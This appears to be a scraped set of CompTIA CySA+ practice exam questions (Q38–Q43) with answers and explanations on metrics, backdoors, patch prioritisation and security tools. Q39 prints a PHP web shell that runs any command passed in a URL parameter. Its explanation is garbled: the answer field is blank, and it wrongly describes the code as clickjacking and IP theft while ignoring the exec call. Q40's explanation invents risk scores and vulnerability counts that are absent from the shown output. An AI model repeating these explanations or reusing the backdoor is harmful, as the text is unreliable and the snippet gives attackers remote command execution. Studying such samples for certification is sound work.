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CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q38-Q43):

NEW QUESTION # 38

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?

- A. Mean time to remediate
- B. Service-level agreement uptime
- C. Mean time to detect
- D. Mean time to respond

Answer: C

Explanation:

Mean time to detect (MTTD) is a metric that measures how quickly an organization can identify a security incident or a malicious actor in the environment. Reducing MTTD can improve visibility and reporting of threats, as well as prevent lateral movement and data exfiltration by detecting them sooner.

NEW QUESTION # 39

A company brings in a consultant to make improvements to its website. After the consultant leaves, a web developer notices unusual activity on the website and submits a suspicious file containing the following code to the security team:

```
<html>
<body>

<?php
echo '<H1>This website is under maintenance</H1>';
alert('Exit');
exec($_GET['cmd']);
echo $_SERVER['REMOTE_ADDR'];
?>
</body>
</html>
```

Which of the following did the consultant do?

- Implanted a backdoor
- Implemented privilege escalation
- Implemented clickjacking
- Patched the web server

Answer:

Explanation:

Implanted a backdoor.

A backdoor is a method that allows an unauthorized user to access a system or network without the permission or knowledge of the owner. A backdoor can be installed by exploiting a software vulnerability, by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be used for various malicious purposes, such as stealing data, installing malware, executing commands, or taking control of the system.

In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet that displays an image of

a shutdown button and an alert message that says "Exit". However, the code also echoes the remote address of the server, which means that it sends the IP address of the visitor to the attacker. This way, the attacker can identify and target the visitors of the website and use their IP addresses to launch further attacks or gain access to their devices.

The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that tricks a user into clicking on a hidden or disguised element on a webpage. However, clickjacking is not the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is incorrect.

Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to gain higher or more permissions than they are supposed to have on a system or network. Privilege escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing misconfigurations or weak access controls. However, there is no evidence that the consultant implemented privilege escalation on the website or gained any elevated privileges.

Option D is also incorrect because patching is a process of applying updates to software to fix errors, improve performance, or enhance security. Patching can prevent or mitigate various types of attacks, such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the consultant patched the web server or improved its security in any way.

Explanation:

The correct answer is

Reference:

- 1 What Is a Backdoor & How to Prevent Backdoor Attacks (2023)
- 2 What is Clickjacking? Tutorial & Examples | Web Security Academy
- 3 What Is Privilege Escalation and How It Relates to Web Security | Acunetix
- 4 What Is Patching? | Best Practices For Patch Management - cWatch Blog

NEW QUESTION # 40

A security analyst performs a vulnerability scan. Based on the metrics from the scan results, the analyst must prioritize which hosts to patch. The analyst runs the tool and receives the following output:

```
Host      CVE: (Vulnerability Name)  Metrics
-----
host01 CVE-2003-99992: (TransAtl) DDS:NOA:HVT
host02 CVE-2004-99993: (TjBeP)   DDS:AEX:NOA
host03 CVE-2007-99996: (NarrowStairs) RCE:AEX:HVT
host04 CVE-2009-99998: (Topendoor)  UDD:NOA

--- metrics ---
DDS: Denial of service vulnerability
RCE: Remote code execution vulnerability
UDD: Unauthorized disclosure of data vulnerability
AEX: Vulnerability is being exploited actively exploited
NOA: No authentication required
HVT: Host is a high value target
HEX: Host is externally available to public Internet
```

Which of the following hosts should be patched first, based on the metrics?

- A. host02
- B. host01
- C. host04
- D. host03

Answer: D

Explanation:

Host03 should be patched first, based on the metrics, as it has the highest risk score and the highest number of critical vulnerabilities. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Host03 has a risk score of $10 \times 0.9 = 9$, which is higher than any other host. Host03 also has 5 critical

vulnerabilities, which are the most severe and urgent to fix, as they can allow remote code execution, privilege escalation, or data loss. The other hosts have lower risk scores and lower numbers of critical vulnerabilities, so they can be patched later.

NEW QUESTION # 41

A cybersecurity analyst is setting up a security control that monitors network traffic and produces an active response to a security event. Which of the following tools is the analyst configuring?

- A. IPS
- B. CASB
- C. WAF
- D. EDR

Answer: A

NEW QUESTION # 42

When undertaking a cloud migration of multiple SaaS applications, an organization's systems administrators struggled with the complexity of extending identity and access management to cloud-based assets. Which of the following service models would have reduced the complexity of this project?

- A. ZTNA
- B. CASB
- C. SWG
- D. SASE

Answer: D

NEW QUESTION # 43

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